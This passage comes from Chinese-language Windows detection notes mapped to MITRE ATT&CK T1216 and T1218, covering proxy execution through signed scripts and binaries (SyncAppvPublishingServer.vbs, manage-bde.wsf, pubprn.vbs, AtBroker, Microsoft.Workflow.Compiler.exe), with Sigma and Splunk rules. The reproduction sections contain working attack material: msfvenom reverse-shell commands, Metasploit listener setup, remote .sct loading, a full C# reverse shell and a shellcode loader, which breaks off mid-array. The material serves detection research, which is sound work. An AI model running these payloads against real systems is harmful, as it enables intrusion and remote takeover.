"\n;Start-Process calc" 创建者进程名称:C:\Windows\System32\cmd.exe ``` - Sysmon事件ID 1(测试1): ``` 事件ID:1 OriginalFileName:wscript.exe CommandLine:"C:\Windows\System32\WScript.exe" "C:\Windows\System32\SyncAppvPublishingServer.vbs" "\n;Start-Process calc" CurrentDirectory:C:\Users\Administrator.ZHULI\ User:ZHULI\Administrator Hashes:SHA1=267D05CE8D10D97620BE1C7773757668BAEB19EE ParentImage:C:\Windows\System32\cmd.exe ``` - Sysmon事件ID 1(测试2): ``` 事件ID:1 OriginalFileName:cscript.exe CommandLine:cscript.exe C:\Windows\System32\manage-bde.wsf CurrentDirectory:C:\Users\Administrator.ZHULI\ User:ZHULI\Administrator Hashes:SHA1=4B1E2F8EFBECB677080DBB26876311D9E06C5020 ParentImage:C:\Windows\System32\cmd.exe ``` ## 测试复现 ### 环境准备 - 攻击机:Kali Linux 2019(或其他支持Metasploit的系统) - 靶机:Windows Server 2012(或其他支持VBS/WSF的Windows系统) - 工具: - Metasploit Framework(生成Payload和监听) - Sysmon(可选,日志收集) ### 攻击分析 #### 测试1:SyncAppvPublishingServer.vbs执行PowerShell命令 1. **执行命令**: ```cmd C:\Windows\System32\SyncAppvPublishingServer.vbs "\n;Start-Process calc" ``` - 结果:启动`calc.exe`,通过`wscript.exe`调用PowerShell执行注入的命令。 - 实际攻击中,可替换为: ```cmd C:\Windows\System32\SyncAppvPublishingServer.vbs "\n;Start-Process powershell -ArgumentList '-NoProfile -EncodedCommand '" ``` 2. **生成恶意Payload**: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f psh -o payload.ps1 ``` 将PowerShell Payload编码为Base64: ```powershell $command = Get-Content payload.ps1 | Out-String [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($command)) ``` 3. **配置攻击机监听**: ```bash msf5>use exploit/multi/handler msf5 exploit(multi/handler)>set payload windows/meterpreter/reverse_tcp msf5 exploit(multi/handler)>set LHOST 192.168.126.146 msf5 exploit(multi/handler)>set LPORT 4444 msf5 exploit(multi/handler)>set AutoRunScript migrate -f msf5 exploit(multi/handler)>exploit ``` 4. **靶机执行**: ```cmd C:\Windows\System32\SyncAppvPublishingServer.vbs "\n;Start-Process powershell -ArgumentList '-NoProfile -EncodedCommand '" ``` 5. **结果**: - 成功获得Meterpreter会话。 - 若失败,检查: - 防火墙是否阻止TCP连接。 - PowerShell执行策略(需为`RemoteSigned`或`Bypass`)。 #### 测试2:manage-bde.wsf执行任意命令 1. **解决复现问题**: - 原问题:`manage-bde.wsf`文件异常,提示“无效实体引用”。 - 原因:下载的GitHub文件可能不完整或与目标系统版本不兼容。 - 解决:从相同版本的Windows系统(如Windows Server 2012)复制原始`manage-bde.wsf`,或使用以下简化版WSF: ```xml ``` 保存为`manage-bde.wsf`,放置于`C:\Windows\System32\`。 2. **执行命令**: ```cmd set COMSPEC=%windir%\System32\calc.exe cscript %windir%\System32\manage-bde.wsf ``` - 清理: ```cmd set COMSPEC=%windir%\System32\cmd.exe ``` 3. **生成恶意Payload**: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f exe -o C:\Windows\System32\payload.exe ``` 4. **靶机执行**: ```cmd set COMSPEC=C:\Windows\System32\payload.exe cscript %windir%\System32\manage-bde.wsf ``` 5. **结果**: - 成功触发`payload.exe`,获得Meterpreter会话。 - 若失败,检查: - `manage-bde.wsf`文件完整性。 - `COMSPEC`变量是否正确设置。 - 防火墙限制。 ## 测试留痕 ### Windows安全日志 - 事件ID 4688(测试1): ``` 进程信息: 新进程名称:C:\Windows\System32\wscript.exe 命令行:"C:\Windows\System32\WScript.exe" "C:\Windows\System32\SyncAppvPublishingServer.vbs" "\n;Start-Process calc" 创建者进程名称:C:\Windows\System32\cmd.exe ``` - 事件ID 4688(测试2): ``` 进程信息: 新进程名称:C:\Windows\System32\cscript.exe 命令行:cscript.exe C:\Windows\System32\manage-bde.wsf 创建者进程名称:C:\Windows\System32\cmd.exe ``` ### Sysmon日志 - 事件ID 1(测试1): ``` 事件ID:1 OriginalFileName:wscript.exe CommandLine:"C:\Windows\System32\WScript.exe" "C:\Windows\System32\SyncAppvPublishingServer.vbs" "\n;Start-Process calc" CurrentDirectory:C:\Users\Administrator.ZHULI\ User:ZHULI\Administrator Hashes:SHA1=267D05CE8D10D97620BE1C7773757668BAEB19EE ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID 1(测试2): ``` 事件ID:1 OriginalFileName:cscript.exe CommandLine:cscript.exe C:\Windows\System32\manage-bde.wsf CurrentDirectory:C:\Users\Administrator.ZHULI\ User:ZHULI\Administrator Hashes:SHA1=4B1E2F8EFBECB677080DBB26876311D9E06C5020 ParentImage:C:\Windows\System32\cmd.exe ``` - 事件ID 10:记录子进程(如`calc.exe`或`powershell.exe`)。 ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`wscript.exe`或`cscript.exe`执行`SyncAppvPublishingServer.vbs`或`manage-bde.wsf`。 - 检查命令行是否包含可疑参数(如`Start-Process`或非标准脚本路径)。 2. 命令行分析: - 正则表达式匹配: ```regex (wscript\.exe.*SyncAppvPublishingServer\.vbs.*Start-Process)|(cscript\.exe.*manage-bde\.wsf) ``` 3. 环境变量监控: - 检测`COMSPEC`异常修改(如指向非`cmd.exe`的路径)。 4. 文件监控: - 检测非系统路径下的VBS/WSF文件,或系统脚本的异常调用。 5. 网络监控: - 检测脚本触发的异常网络连接。 6. 行为分析: - 检测脚本宿主进程调用子进程(如`powershell.exe`、`payload.exe`)。 ### Sigma规则 优化后的Sigma规则,覆盖两种测试案例: ```yaml title:可疑签名脚本代理执行 id:6a7b8c3d-4e9f-5b6a-8c7d-9e8f0a1b2c3d description:检测wscript.exe或cscript.exe执行可疑签名脚本,可能用于代理恶意代码 status:experimental logsource: category:process_creation product:windows detection: selection_syncappv: Image|endswith: - '\wscript.exe' - '\cscript.exe' CommandLine|contains: - 'SyncAppvPublishingServer.vbs' - 'Start-Process' selection_managebde: Image|endswith:'\cscript.exe' CommandLine|contains:'manage-bde.wsf' filter_legitimate: CommandLine|contains: - 'C:\Windows\System32\manage-bde.exe' condition:(selection_syncappv or selection_managebde) and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的App-V同步操作或BitLocker管理任务 level:high tags: - attack.execution - attack.t1216 ``` 规则说明: - 目标:检测`SyncAppvPublishingServer.vbs`和`manage-bde.wsf`的异常执行。 - 过滤:排除合法的BitLocker管理操作(如`manage-bde.exe`调用)。 - 日志来源:Windows事件ID 4688(需启用命令行审核)或Sysmon事件ID 1。 - 误报处理:合法脚本操作可能触发,需结合命令行和父进程分析。 - 级别:标记为“高”优先级,因签名脚本滥用通常与恶意活动相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image IN ("*\wscript.exe","*\cscript.exe") CommandLine IN ("*SyncAppvPublishingServer.vbs*","*Start-Process*","*manage-bde.wsf*")) OR (EventCode=10 SourceImage IN ("*\wscript.exe","*\cscript.exe") TargetImage IN ("*\powershell.exe","*\cmd.exe")) | fields Image,CommandLine,ParentImage,User,TargetImage ``` 规则说明: - 检测脚本宿主进程的异常执行(事件ID 1)和触发的子进程(事件ID 10)。 - 减少误报:结合命令行和子进程分析。 ### 检测挑战 - 误报:合法的App-V或BitLocker操作可能触发,需结合上下文(如环境变量、子进程)。 - 日志依赖:脚本执行细节可能不记录,需部署Sysmon或增强日志策略。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID 4688记录完整参数。 - 部署Sysmon,配置针对`wscript.exe`和`cscript.exe`的规则,监控脚本执行和子进程。 2. 网络隔离: - 限制非必要主机的出站连接,尤其是高危端口(如4444)。 3. 文件审查: - 定期扫描非系统路径下的VBS/WSF文件,检查脚本内容。 4. 权限控制: - 限制普通用户执行`wscript.exe`或`cscript.exe`的权限。 5. 环境变量保护: - 监控`COMSPEC`等关键变量的修改,限制非管理员更改。 6. 安全更新: - 保持Windows系统和脚本宿主更新,修复潜在漏洞。 ## 参考推荐 - MITRE ATT&CK T1216: - Atomic Red Team T1216: - manage-bde.wsf文件参考: - Sysmon配置与检测: - Metasploit Framework: 用于生成和测试反弹Shell。 - Sysmon: Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1216.001-Win-签名脚本代理执行-PubPrn.md ================================================ # T1216.001-签名脚本代理执行-PubPrn ## 描述 `PubPrn.vbs`是Microsoft签名的VisualBasic脚本,位于`C:\Windows\System32\Printing_Admin_Scripts\<语言代码>\`,用于将打印机发布到ActiveDirectory域服务。脚本通过Windows脚本宿主`cscript.exe`或`wscript.exe`执行,典型用法如下: ```cmd cscript.exe C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com ``` 攻击者可滥用`PubPrn.vbs`的`script:`参数,引用远程托管的COM脚本文件(.sct),执行恶意代码。例如: ```cmd cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\en-US\pubprn.vbs localhost "script:https://malicious.com/file.sct" ``` 此技术利用Microsoft签名脚本绕过应用程序白名单(如AppLocker)和签名验证机制。SCT文件通过COM对象(如`Scriptlet.Typelib`)执行JScript或VBScript,加载恶意Payload。 **限制**:Windows10及以上版本中,`PubPrn.vbs`已更新,限制`script:`参数仅接受`LDAP://`协议,阻止远程HTTP(S)加载。老旧系统(如Windows7、Server2012)仍易受攻击。 ## 测试案例 ### 测试案例1:PubPrn.vbs加载远程SCT文件 通过已签名的`PubPrn.vbs`脚本加载远程SCT文件,执行恶意Payload。测试使用AtomicRedTeam提供的SCT文件,触发计算器(`calc.exe`)作为示例。 **命令**: ```cmd cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs localhost "script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct" ``` - **说明**: - `/b`:以批处理模式运行,抑制弹出窗口。 - `localhost`:占位参数,不影响执行。 - `script:`:指定远程SCT文件。 - **权限**:无需提升权限,普通用户可执行。 - **注意**:需根据系统语言调整脚本路径(如`en-US`或`zh-CN`)。 ## 检测日志 ### 数据来源 - Windows安全日志: - 事件ID4688:进程创建,记录`cscript.exe`的执行信息。 - Sysmon日志: - 事件ID1:进程创建,包含命令行、哈希值和父进程。 - 事件ID7:映像加载,记录加载的DLL(如`scrobj.dll`用于SCT执行)。 - 事件ID10:进程访问,记录脚本触发的子进程。 - 网络监控: - 检测`cscript.exe`发起的HTTP(S)请求(如下载SCT文件)。 - 文件监控: - 检测非标准路径下的VBS或SCT文件。 ## 测试复现 ### 测试1 PubPrn.vbs Signed Script Bypass ```yml C:\Users\Administrator.ZHULI>cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs localhost "script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct" ``` 注意操作系统语言,语言不同,VBS脚本所在位置不同 ## 测试留痕 Windows Sysmon日志 ```yml Process Create: 事件ID 1进程创建 RuleName: technique_id=T1059,technique_name=Command-Line Interface UtcTime: 2022-01-11 08:05:07.983 ProcessGuid: {78c84c47-3a33-61dd-3924-000000000800} ProcessId: 2000 Image: C:\Windows\System32\cscript.exe FileVersion: 5.812.10240.16384 Description: Microsoft Product: Microsoft ® Windows Script Host Company: Microsoft Corporation OriginalFileName: cscript.exe CommandLine: cscript.exe /b C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs localhost "script:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1216.001/src/T1216.001.sct" CurrentDirectory: C:\Users\Administrator.ZHULI\ User: ZHULI\Administrator LogonGuid: {78c84c47-f665-61db-95da-440100000000} LogonId: 0x144DA95 TerminalSessionId: 3 IntegrityLevel: High Hashes: SHA1=0E3C0779D8EAAD3B00363D7890DDC8272B510D49,MD5=A45586B3A5A291516CD10EF4FD3EE768,SHA256=59D3CDC7D51FA34C6B27B8B04EA17992955466EB25022B7BD64880AB35DF0BBC,IMPHASH=2B44D2206B9865383429E9C1524F1CAC ParentProcessGuid: {78c84c47-2489-61dd-f120-000000000800} ParentProcessId: 4392 ParentImage: C:\Windows\System32\cmd.exe ParentCommandLine: "C:\Windows\system32\cmd.exe" ParentUser: ZHULI\Administrator ``` ## 检测规则/思路 ### 检测方法 1. 进程监控: - 检测`cscript.exe`或`wscript.exe`执行`pubprn.vbs`。 - 检查命令行是否包含`script:`和`http(s)://`。 2. 命令行分析: - 正则表达式匹配: ```regex cscript\.exe.*pubprn\.vbs.*script:http(s)?://.*\.sct ``` 3. 网络监控: - 检测`cscript.exe`发起的HTTP(S)请求,尤其是下载`.sct`文件。 4. 文件监控: - 检测非`C:\Windows\System32\Printing_Admin_Scripts\`路径下的`pubprn.vbs`。 5. 行为分析: - 检测`cscript.exe`加载`scrobj.dll`后触发子进程。 - 监控由SCT文件触发的异常行为(如PowerShell执行)。 ### Sigma规则 优化后的Sigma规则,增强误报过滤: ```yaml title:可疑PubPrn.vbs脚本执行远程SCT id:7b8c9d4e-5f0a-6b7c-8d9e-0a1b2c3d4e5f description:检测cscript.exe执行PubPrn.vbs加载远程SCT文件,可能用于代理恶意代码 status:experimental logsource: category:process_creation product:windows detection: selection: Image|endswith: - '\cscript.exe' - '\wscript.exe' CommandLine|contains: - '\pubprn.vbs' - 'script:http' - '.sct' filter_legitimate: CommandLine|contains:'LDAP://' condition:selection and not filter_legitimate fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法的打印机发布操作(使用LDAP://协议) level:high tags: - attack.execution - attack.t1216.001 ``` 规则说明: - 目标:检测`pubprn.vbs`加载远程SCT文件的执行。 - 过滤:排除使用`LDAP://`协议的合法打印机发布操作。 - 日志来源:Windows事件ID4688(需启用命令行审核)或Sysmon事件ID1。 - 误报处理:合法打印机管理可能触发,需结合命令行和网络行为分析。 - 级别:标记为“高”优先级,因远程SCT加载通常与恶意活动相关。 ### Splunk规则 ```spl index=windows source="WinEventLog:Microsoft-Windows-Sysmon/Operational" (EventCode=1 Image IN ("*\cscript.exe","*\wscript.exe") CommandLine IN ("*\pubprn.vbs*","*script:http*","*.sct*")) OR (EventCode=7 Image="*\cscript.exe" ImageLoaded="*\scrobj.dll") OR (EventCode=10 SourceImage IN ("*\cscript.exe","*\wscript.exe") TargetImage IN ("*\powershell.exe","*\cmd.exe")) | fields Image,CommandLine,ParentImage,User,ImageLoaded,TargetImage ``` 规则说明: - 检测`pubprn.vbs`的异常执行(事件ID1)、SCT相关DLL加载(事件ID7)和触发的子进程(事件ID10)。 - 减少误报:结合命令行和网络请求分析。 ### 检测挑战 - 误报:合法打印机发布操作可能触发,需结合`script:`参数和网络行为分析。 - 日志依赖:远程SCT下载可能不记录完整细节,需部署Sysmon和网络监控。 ## 防御建议 1. 监控和日志: - 启用命令行审核策略,确保事件ID4688记录完整参数。 - 部署Sysmon,配置针对`cscript.exe`和`wscript.exe`的规则,监控脚本执行和网络请求。 2. 网络隔离: - 限制非必要主机的HTTP(S)出站连接,尤其是下载`.sct`文件。 3. 文件审查: - 定期扫描非系统路径下的VBS和SCT文件,检查脚本内容。 4. 权限控制: - 限制普通用户执行`cscript.exe`或`wscript.exe`的权限。 5. 系统更新: - 升级到Windows10+,利用`PubPrn.vbs`的协议限制(仅允许`LDAP://`)。 6. ActiveX限制: - 配置IE安全设置,禁用未签名的ActiveX控件,降低SCT文件执行风险。 ## 参考推荐 - MITREATT&CKT1216.001: - AtomicRedTeamT1216.001: - Sysmon配置与检测: - MetasploitFramework:用于生成和测试反弹Shell。 - Sysmon:Microsoft提供的系统监控工具。 ================================================ FILE: Windows/07逃避防御/T1218-Win-使用Atbroker.exe执行payload(白名单).md ================================================ # T1218-Win-使用Atbroker.exe执行payload(白名单) ## 描述 攻击者可能利用受信任的Windows实用程序(如`AtBroker.exe`)代理执行恶意代码,绕过应用程序白名单防御(MITRE ATT&CK T1218)。`AtBroker.exe`是Windows的“轻松访问中心”组件,用于启动辅助功能应用程序(如讲述人、屏幕键盘、放大镜)。由于其由微软签名并位于系统目录,通常被安全工具视为可信进程。 攻击者可通过修改注册表中的辅助技术(Assistive Technology, AT)服务条目,注册恶意程序作为AT应用,随后使用`AtBroker.exe /start `触发执行。此技术利用`AtBroker.exe`的白名单特性,隐藏恶意行为,常用于防御规避、初始访问或持久化。 ## 测试案例 ### 测试1:使用AtBroker.exe执行恶意载荷 攻击者通过修改注册表注册恶意程序为AT应用,随后使用`AtBroker.exe`执行,模拟恶意载荷运行。 **环境要求**: - 系统:Windows 8/8.1/10/11 - 工具:`AtBroker.exe`(系统自带) - 权限:用户权限(注册表修改可能需管理员权限) - 路径: - `C:\Windows\System32\AtBroker.exe` - `C:\Windows\SysWOW64\AtBroker.exe` **准备步骤**: 1. 创建恶意可执行文件(如`malware.exe`),放置于可访问路径(如`C:\Temp\malware.exe`)。 2. 修改注册表,注册`malware.exe`为AT应用: ```reg [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware] "ATExe"="C:\\Temp\\malware.exe" "Description"="Malicious AT Application" "StartParams"="" ``` **攻击命令**: ```cmd AtBroker.exe /start malware ``` **清理命令**: ```cmd reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware" /f del C:\Temp\malware.exe taskkill /IM malware.exe /F ``` **说明**: - `/start malware`:触发注册表中`malware`键对应的可执行文件。 - 注册表修改定义了名为`malware`的AT应用,指向`C:\Temp\malware.exe`。 ## 检测日志 - **Windows安全日志**: - Event ID 4688:进程创建,记录`AtBroker.exe`及其子进程的执行(需启用进程跟踪审核)。 - **Sysmon日志**: - Event ID 1:进程创建,捕获`AtBroker.exe`和恶意载荷的命令行及父进程信息。 - Event ID 13:注册表修改,记录AT注册表键的创建或更改。 - **日志配置**: - 启用命令行审计:`本地计算机策略 > 计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 部署Sysmon,配置捕获进程创建和注册表事件。 ## 测试复现 ### 测试环境 - 系统:Windows 10 (Build 18363.418) - 用户:普通用户(注册表修改需管理员权限) ### 测试过程 #### 1. 准备恶意载荷 - 创建简单测试文件`malware.exe`(如启动`calc.exe`的批处理转EXE)。 - 放置于`C:\Temp\malware.exe`。 #### 2. 修改注册表 **命令**: ```cmd reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware" /v ATExe /t REG_SZ /d "C:\Temp\malware.exe" /f reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware" /v Description /t REG_SZ /d "Malicious AT Application" /f ``` #### 3. 执行攻击 **命令**: ```cmd C:\Users\liyang>AtBroker.exe /start malware ``` **结果**: - `malware.exe`执行,触发`calc.exe`(假设`malware.exe`为测试载荷)。 - 日志记录`AtBroker.exe`和`malware.exe`的进程创建。 #### 4. 清理 **命令**: ```cmd reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware" /f del C:\Temp\malware.exe taskkill /IM calc.exe /F ``` ## 测试留痕 ### Windows安全日志(Event ID 4688:进程创建) ```xml 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2023/10/01 10:00:00 事件 ID: 4688 任务类别: Process Creation 级别: 信息 用户: N/A 计算机: DESKTOP-PT656L6 描述: 已创建新进程。 创建者主题: 安全 ID: DESKTOP-PT656L6\liyang 帐户名: liyang 帐户域: DESKTOP-PT656L6 登录 ID: 0x47126 目标主题: 安全 ID: NULL SID 帐户名: - 帐户域: - 登录 ID: 0x0 进程信息: 新进程 ID: 0x21e4 新进程名称: C:\Windows\System32\AtBroker.exe 令牌提升类型: %%1938 强制性标签: Mandatory Label\Medium Mandatory Level 创建者进程 ID: 0x24b4 创建者进程名称: C:\Windows\System32\cmd.exe 进程命令行: AtBroker.exe /start malware ``` **分析**: - 日志记录`AtBroker.exe`执行,命令行包含`/start malware`。 - 父进程为`cmd.exe`,事件创建。 ### Sysmon日志(Event ID 13:注册表事件) ```xml 日志名称: Microsoft-Windows-Sysmon/Operational 来源: Microsoft-Windows-Sysmon 日期: 2023/10-01 10:00:00 事件 ID: 13 任务类别: Registry value set 级别: 信息 用户: DESKTOP-PT656L6\liyang 计算机: DESKTOP-PT656L6 描述: Registry value set: RuleName: technique_id=T1218,technique_name=Signed Binary Proxy Execution UtcTime: 2023-10-01 02:00:00.123 EventType: SetValue ProcessGuid: {12345678-1234-5678-1234-567890123456} ProcessId: 12345 Image: C:\Windows\System32\reg.exe TargetObject: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware\ATExe Details: C:\Temp\malware.exe ``` **分析**: - 日志记录`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware\ATExe`的注册表修改,指向`malware.exe`。 - 进程映像为`reg.exe`,表明通过命令行注册表修改。 ## 检测规则/思路 ### Sigma规则 ```yaml title: 检测可疑AtBroker.exe执行 description: Detects AtBroker.exe executing non-standard Assistive Technology applications, potentially malicious. id: f24bcaea-0cd1-11eb-adc1-0242ac120002 status: experimental author: - Mateusz Wydra, - oscd.community, date: 2023/10/01 references: - https://attack.mitre.org/techniques/T1218/ - http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/ - https://lolbas-project.github.io/lolbas/Binaries/Atbroker/ tags: - attack.defense_evasion - attack.t1218 logsource: product: windows category: process_creation detection: selection: Image|endswith: '\AtBroker.exe' CommandLine|contains: '/start' filter: CommandLine|contains: - 'animations' - 'audiodescription' - 'caretbrowsing' - 'caretwidth' - 'colorfiltering' - 'cursorscheme' - 'filterkeys' - 'focusborderheight' - 'focusborderwidth' - 'highcontrast' - 'keyboardcues' - 'keyboardpref' - 'magnifierpane' - 'messageduration' - 'minimumhitradius' - 'mousekeys' - 'Narrator' - 'osk' - 'overlappedcontent' - 'showsounds' - 'soundsentry' - 'stickykeys' - 'togglekeys' - 'windowarranging' - 'windowtracking' - 'windowtrackingtimeout' - 'windowtrackingzorder' condition: selection and not filter fields: - Image - CommandLine - ParentImage falsepositives: - Legitimate non-default assistive technology applications level: high ``` **规则说明**: - 检测`AtBroker.exe`执行,命令行包含`/start`但不包含默认AT应用(如`Narrator`、`osk`)。 - 覆盖Windows安全日志(Event ID 4688)和Sysmon日志(Event ID 1)。 - 规则为实验性,需测试以减少合法AT应用的误报。 ### 建议 1. **监控AtBroker.exe活动**: - 使用Sysmon(Event ID 1)捕获`AtBroker.exe`的进程创建,检查命令行是否包含`/start`和非默认AT名称。 - 监控Event ID 13(注册表修改),检测`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs`的更改。 2. **启用命令行审计**: - 配置Windows安全策略,启用进程跟踪审核(Event ID 4688)并记录命令行参数。 - 部署Sysmon,配置捕获进程命令行和注册表事件。 3. **基线化行为**: - 建立`AtBroker.exe`的正常使用基线,生产环境中应仅启动默认AT应用(如`Narrator`、`magnifier`)。 - 监控非预期父进程(如`powershell.exe`)或异常AT名称。 4. **保护注册表**: - 配置严格的注册表权限,限制非管理员修改`HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs`。 - 启用注册表审计,记录AT键的创建或修改。 5. **部署SIEM系统**: - 使用SIEM工具(如Splunk、Elastic)分析安全日志和Sysmon日志,检测`AtBroker.exe`代理执行。 - 设置高优先级告警,针对非默认AT应用的`/start`命令。 6. **行为链关联**: - 将`AtBroker.exe`执行与其他可疑行为(如网络连接、进程注入)关联,识别攻击链。 - 例如,检测`malware.exe`执行后是否发起C2通信。 7. **限制AtBroker.exe使用**: - 使用AppLocker或组策略限制`AtBroker.exe`的执行,仅允许特定场景。 - 监控未经授权的AT注册表修改。 8. **测试与验证**: - 在测试环境中模拟`AtBroker.exe`执行恶意载荷(如注册`malware.exe`),验证检测规则有效性。 - 调整规则阈值,排除合法AT应用的误报。 ## 参考推荐 - MITRE ATT&CK T1218 - LOLBAS:AtBroker.exe - ATBroker.exe病毒利用分析 - Atomic Red Team T1218 ================================================ FILE: Windows/07逃避防御/T1218.001-Win-使用Compiler.exe执行payload(白名单).md ================================================ # T1218.001-使用Microsoft.Workflow.Compiler.exe执行Payload(白名单绕过) ## 描述 `Microsoft.Workflow.Compiler.exe`是.NET Framework自带的命令行工具,用于编译和执行XOML(Extensible Object Markup Language)工作流文件。它位于Windows系统中的.NET Framework目录: - 32位:`C:\Windows\Microsoft.NET\Framework\v<版本>\Microsoft.Workflow.Compiler.exe` - 64位:`C:\Windows\Microsoft.NET\Framework64\v<版本>\Microsoft.Workflow.Compiler.exe` 该工具由Microsoft签名,视为受信任的开发工具。攻击者可通过提供包含恶意代码的XOML文件或C#代码,利用`Microsoft.Workflow.Compiler.exe`代理执行任意未签名代码,从而绕过AppLocker或其他白名单防御机制。 `Microsoft.Workflow.Compiler.exe`需要两个命令行参数: 1. XML文件路径:包含序列化的`CompilerInput`对象,指定编译参数。 2. 输出文件路径:通常为C#或XOML文件,包含待执行的代码。 此技术常用于初始访问后的持久化、权限提升或横向移动,因其利用合法签名工具,难以被传统防病毒软件检测。 ## 测试案例 ### 案例说明 `Microsoft.Workflow.Compiler.exe`未包含在系统`PATH`环境变量中,需使用完整路径调用。攻击者可通过精心构造的XML和C#文件执行恶意代码。以下是一个简单的测试案例: ### 方法1 **XML文件(poc.xml)**: ```xml add.tcp false true false false ‐1 false false false CSharp ``` **add.tcp** ```csharp using System; using System.Text; using System.IO; using System.Diagnostics; using System.ComponentModel; using System.Net; using System.Net.Sockets; using System.Workflow.Activities; public class Program : SequentialWorkflowActivity { static StreamWriter streamWriter; public Program() { using(TcpClient client = new TcpClient("192.168.126.146", 4444)) { using(Stream stream = client.GetStream()) { using(StreamReader rdr = new StreamReader(stream)) { streamWriter = new StreamWriter(stream); StringBuilder strInput = new StringBuilder(); Process p = new Process(); p.StartInfo.FileName = "cmd.exe"; p.StartInfo.CreateNoWindow = true; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardInput = true; p.StartInfo.RedirectStandardError = true; p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler); p.Start(); p.BeginOutputReadLine(); while(true) { strInput.Append(rdr.ReadLine()); p.StandardInput.WriteLine(strInput); strInput.Remove(0, strInput.Length); } } } } } private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine) { StringBuilder strOutput = new StringBuilder(); if (!String.IsNullOrEmpty(outLine.Data)) { try { strOutput.Append(outLine.Data); streamWriter.WriteLine(strOutput); streamWriter.Flush(); } catch (Exception err) { } } } } ``` **设置监听** ```bash use exploit/multi/handler msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set lhost 192.168.126.146 msf exploit(multi/handler) > set lport 4444 msf exploit(multi/handler) > exploit ``` **靶机执行payload** ```dos C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe poc.xml add.tcp ``` 未能成功获取到会话,使用方法2进行利用。 ### 方法2 **Msf生成shellcode** ```bash msfvenom -p windows/x64/shell/reverse_tcp LHOST=192.168.126.146 LPORT=4444 -f csharp ``` ```cs using System; using System.Workflow.Activities; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; class yrDaTlg : SequentialWorkflowActivity { [DllImport("kernel32")] private static extern IntPtr VirtualAlloc(UInt32 rCfMkmxRSAakg,UInt32 qjRsrljIMB, UInt32 peXiTuE, UInt32 AkpADfOOAVBZ); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPt rDStOGXQMMkP, uint CzzIpcuQppQSTBJ, uint JCFImGhkRqtwANx, out uint exgVp Sg); [DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 eisuQbXKYbAvA, UInt32 WQATOZaFz, IntPtr AEGJQOn,IntPtr SYcfyeeSgPl, UInt32 ZSheqBwKtDf, ref UInt32 SZtdSB); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject(IntPtr KqJNFlHpsKOV, UInt32 EYBOArlCLAM); public yrDaTlg() { byte[] QWKpWKhcs = {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52, 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48, 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9, 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41, 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48, 0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b, 0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41, 0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1, 0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 